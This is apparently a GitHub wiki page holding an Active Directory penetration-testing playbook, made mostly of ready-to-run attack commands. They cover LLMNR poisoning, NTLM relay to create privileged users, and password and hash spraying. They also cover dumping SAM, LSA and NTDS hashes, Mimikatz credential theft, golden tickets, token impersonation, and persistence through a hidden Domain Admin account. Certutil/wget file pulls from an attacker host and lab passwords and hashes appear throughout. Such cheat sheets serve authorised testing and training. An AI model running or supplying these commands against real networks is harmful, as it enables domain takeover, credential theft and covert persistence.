Skip to content

Active Directory Playbook

Jump to bottom
Daethyra edited this page Sep 26, 2025 · 1 revision

This document is meant to serve as a specialized guide to enumerating and attacking different services commonly used alongside active directory by providing tools, commands, and context.

Windows Active Directory Recon

Scanning & Enumeration

Operating System Commands

Basic Enumeration with OS Commands:

  • net user /domain - List all domain users.
  • net group /domain - List all domain groups.
  • net group "Domain Admins" /domain - List members of the Domain Admins group.
  • net localgroup administrators - Check for domain users in the local administrators group (look for the domain prefix, e.g., CORP\jsmith).
  • nltest /domain_trusts - Enumerate domain trusts.

SMB

Enum4linux

Enumerate Windows SMB information. enum4linux 10.10.132.224 -UMSP -> Enumerates users, anonymous login, domain SID, and more. Perfect for determining a host's domain name.

LDAP

See LDAP for comprehensive information and resource links.

"As a penetration tester, ignoring AD typically results in leaving a massive attack surface on the table. At the same time, organizations not implementing (or with weak) AD security also open themselves up to a plethora of attacks." 4

Tools

Nmap

No credentials, see what can be pulled.

nmap -n -sV --script "ldap* and not brute" <IP>
ldapdomaindump
# With Credentials
ldapdomaindump -u security.local\\<User> -p '<Password>' ldap://<IP>

# Without credentials
ldapdomaindump ldap://<IP>
ldapsearch
# Get all users
ldapsearch -x -H ldap://<IP> -D '<Domain>\<User>' -w '<Password>' -b 'DC=security,DC=local'

# Get all users and cleanup output
ldapsearch -x -H ldap://<IP> -D '<Domain>\<User>' -w '<Password>' -b 'DC=security,DC=local' | grep userPrincipalName | sed 's/userPrincipalName: //'

# Without credentials
ldapsearch -x -H ldap://<IP> -b 'DC=security,DC=local'
ldapsearch -x -H ldap://<IP> -b 'DC=security,DC=local' | grep userPrincipalName | sed 's/userPrincipalName: //'
Metasploit
use auxiliary/gather/ldap_hashdump
Crackmapexec
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> --admin-count
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host>  --asreproast ASREPROAST
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host>  --groups
crackmapexec ldap'<IP> -u <User> -p <Password> --kdcHost <Host>  --kerberoasting KERBEROASTING
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host>  --password-not-required
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host>  --trusted-for-delegation
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host>  --users

# Modules
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> -M get-desc-users
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> -M laps
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> -M ldap-signing

Antivirus

See Abusing Exclusions To Evade Detection _ Dazzy Ddos.pdf

  1. sc query windefend

Query the Service Control Manager for Windows Defender

I couldn't find a list of Anti-Virus service names online :(

  1. nxc smb <ip> -u user -p pass -M enum_av

Domain SID

  1. nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
  2. whoami /user
  3. PowerShell(Requires Active Directory Module)
    1. Direct retrieval: (Get-ADDomain).DomainSID.Value
    2. From user object: (Get-ADUser "Username").SID.AccountDomainSID

Uncredentialed Initial Attack Vectors

First Strike (NTLM Relay, SMB)

  1. Obtain an NTLMv2 Hash via Responder: sudo responder -I eth0 -dw
    • LLMNR Poisoning via responder captures NTLMv2 hashes whenever any user tries accessing a machine/file/share and mistypes the IP or hostname.
      • Great to run when computers are logging in, like 8AM, or lunchtime.
      • (Reminder) Entire Hash format required: username::DOMAIN:string:string:string
      • Attempt cracking NTLMv2 hash: hashcat -m 5600 luvrgirl.ntlmv2hashes /usr/share/wordlists/rockyou.txt
    • If the hash is not crackable, move to step 2.
  2. Check for SMB signing requirements with NetExec: nxc smb 10.0.2.0/24 --gen-relay targets.txt
    • Relay to LDAP: Auto-dump domain users, groups, and computers: ntlmrelayx.py -t ldap://DC_IP --add-computer workstation20 --delegate-access
      • Add user to Domain Admins or other privileged group: ntlmrelayx.py -t ldap://DC_IP --escalate-user USERNAME
  3. Dump Local Security Authority (LSA): nxc smb 10.0.2.9 -u luvrgirl -p Password --lsa
    • Attempt cracking DCC2 Hashes: .\hashcat.exe -m 2100 hash.txt rockyou.txt -O
      • DCC2 Hash format must be as such in file: $DCC2$10240#administrator#c7154f935b7d1ace4c1d72bd4fb7889c
  4. Dump Security Account Manager: nxc smb 10.0.2.9 -u luvrgirl -p Password1 --sam
  5. Move Laterally: with NetExec
    • Password Spraying: nxc smb 10.0.2.0/24 -u luvrgirl -p 'Password1'
    • Check for Local Admin Password reuse via Hash Spraying: nxc smb 10.0.2.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71 --local-auth

Tools

Commonly used tools and commands

Responder

sudo responder -I eth0 -dw

Capture NTLMv2 hashes: WPAD rogue proxy server w/ DHCP broadcast request answering

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

SMB Relay via ntlmrelayx

If you cannot crack hashes gathered w/ Responder, you can relay those hashes to attempt gaining access

Steps:

  1. Identify hosts without SMB signing required: nmap --script=smb2-security-mode.nse -p445 <IP range> or nxc smb 10.0.2.0/24 --gen-relay targets.txt

Relayed user credentials should be admin on machine for real value

  1. Ensure Responder is configured to have SMB and HTTP capturing OFF, this enables relaying: sudo nano /etc/responder/Responder.conf
  2. Run responder: sudo responder -I eth0 -dw
  3. Run ntlmrelay: ntlmrelayx.py -tf targets.txt -smb2support
    • Dumps SAM/Captures NTLMv1 hashes
      • Optionally, run commands directly: ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

MITM6 - Create a shadow user

If IPv6 is not in use in the environment, you can attack LDAP using ntlmrelayx/mitm6 combo.

  1. Start ntlmrelayx: ntlmrelayx.py -6 -t ldaps://10.0.2.7 -wh wpad.lifeline.local -l lootme
  2. Start mitm6: sudo mitm6 -d lifeline.local

When you see ACE and ACL mentioned, you've likely compromised the DC and a custom user would then be built by MITM6.

Look for lines like Adding new user with username:

TypeName: {'ACCESS_ALLOWED_ACE'}

        IdentifierAuthority:{
            Value: {'\x00\x00\x00\x00\x00\x05'}
        }
        SubLen: {20}
        SubAuthority: {'\x15\x00\x00\x00=\xc8\xc0M\xd0w7tS\xd3\x92\xe2\x07\x02\x00\x00'}
    }
}
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Adding new user with username: qmsgntJvqi and password: V&Vr|.3[U67`C~Y result: OK

Kerbrute

kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results

Enumerate Active Directory users to compile a list of valid password-spraying targets

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1

Perform a password spraying attack using the Kerbrute tool

Secretsdump.py

secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss

Dump the NTDS Active Directory database to retrieve NTLM password hashes for all domain users for offline cracking

PowerShell

Import-Module ActiveDirectory Load the built-in Active Directory PowerShell module on a Windows host
Get-ADUser -Filter * | select Name List all domain users using the Active Directory PowerShell module Get-ADUser cmdlet and filter by the username
Get-DomainUser * | Select-Object samaccountname,description Check the description field of all domain users for sensitive data such as passwords

Another Perspective on Uncredentialed Lateral Movement

See Penetration Test Playbook Uncredentialed Lateral Movement

Source: 4

Internal Enumeration with Compromised Credentials

Post-Compromise Attacks

Domain Mapping w/ Bloodhound & Neo4j

REQUIRES: Active Directory domain user credentials (Active Directory username & password)

Steps:

  1. Update Bloodhound via APT or Pip, whichever it was installed with
  2. Run Neo4j: sudo neo4j console
    1. Ensure you're logged in
  3. Run Bloodhound: sudo bloodhound
  4. Use bloodhound-python to enumerate the active directory environment via compromised credentials: sudo bloodhound-python -d LIFELINE.local -u mmeow -p Password1 -ns 10.0.2.7 -c all (nameserver must be domain)
  5. Upload all JSON files created to Bloodhound's web interface. You're now ready to visualize the environment for enumeration

File Transfers

Host

  • HTTP: python3 -m http.server 8080
  • FTP: python3 -m pyftpdlib -p 21

Data Exfiltration

  • Certutil: certutil.exe --urlcache -f http://10.0.2.15/file.txt file.txt
  • Wget: wget 10.0.2.15/file.txt

Dump Hashes

Requires compromised user account's password

NetExec

  1. Dump SAM: nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam
  2. Dump LSA: nxc smb 10.0.2.9 -u luvrgirl -p Password --lsa
  3. Dump NTDS.dit

Requires Domain Admin or Local Admin Privileges on target Domain Controller

nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds --users
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds --users --enabled
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds vss

1

Credential Dumping w/ Meterpreter Kiwi (Mimikatz)

This girl is known by every AV, but if you can freely run it...

Steps:

  1. Set privileges: privilege::debug
    1. Expected: Privilege '20' OK
    2. (Optional) Check command list: sekurlsa
  2. Dump credentials: sekurlsa::logonPasswords
via Meterpreter

Steps to execute within a meterpreter shell:

  1. Load Mimikatz: load kiwi
  2. Set privileges: kiwi_cmd privilege::debug
  3. Dump credentials: kiwi_cmd sekurlsa::logonPasswords

If error: ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process, you may wish to find a way to run Mimikatz.exe

Pass the Password/Hash

NetExec

Password spraying: crackmapexec smb 10.0.2.0/24 -u mmeow -d LIFELINE.local -p Password1

Check for local admin access of a given account

List Local Administrators: nxc smb 10.0.2.9 -u 'daethyra' -H 'hash' --local-auth -x 'net localgroup administrators'

Persistence

Shadow user

Requires having Administrator/SYSTEM access

  1. net user /add <username> <password> /domain
  2. net group "Domain Admins" <username> /ADD /DOMAIN

Golden Tickets

You may wish to simply review Golden Diamond and Sapphire Attacks for technological details.

Dump Service Principal Names (Kerberoasting)

Fetch Service Principal Names that are associated with normal user accounts, NOT machines. User generated SPNs are based on user-created passwords, which means they're weaker, which means they can actually be cracked.

sudo GetUserSPNs.py LIFELINE.local/mmeow:Password1 -dc-ip 10.0.2.7 -request

  • In my lab, this dumped out a kerberoast ticket for the SQLService account which I then cracked via Hashcat(hashcat -m 13100 kbr.txt /usr/share/wordlists/rockyou.txt)

Create Golden Kerberos Ticket via Meterpreter

The following workflow requires a Meterpreter session to be followed exactly as written

Steps:

  1. load kiwi
  2. golden_ticket_create -d LIFELINE.local -k 43460d636f269c709b20049cee36ae7a -s S-1-5-21-1304479805-1949792208-3801273171 -u daethyra -t goldenkrb.ticket

Find Domain SID

nxc ldap 10.0.2.7 -u daethyra -p Password123 --get-sid

  • Running with -k flag, as shown here, repeatedly failed to extract the SID

Token Impersonation w/ Incognito via Meterpreter

It may be helpful to check which user you are when first landing in a Meterpreter shell. Meterpreter shell steps:

Requires a user be logged in

  1. load incognito
  2. list_tokens -u
  3. impersonate_token <domain>\\<user>

Requires double backslash to escape the character

Resources

  1. https://www.netexec.wiki/smb-protocol/obtaining-credentials
  2. https://www.netexec.wiki/ldap-protocol/find-domain-sid
  3. https://dazzyddos.github.io/posts/Abusing_Exclusions_To_Evade_Detection/
  4. https://www.hackthebox.com/blog/active-directory-penetration-testing-cheatsheet-and-guide

#windows #meterpreter #lateral-movement #persistence #mimikatz #security-account-manager #local-security-authority #sam #lsa #netexec #domain-sid #kerberos #kerberoasting #data-exfiltration #post-exploitation #recon #uncredentialed-access #credentialed-access #metasploit

Clone this wiki locally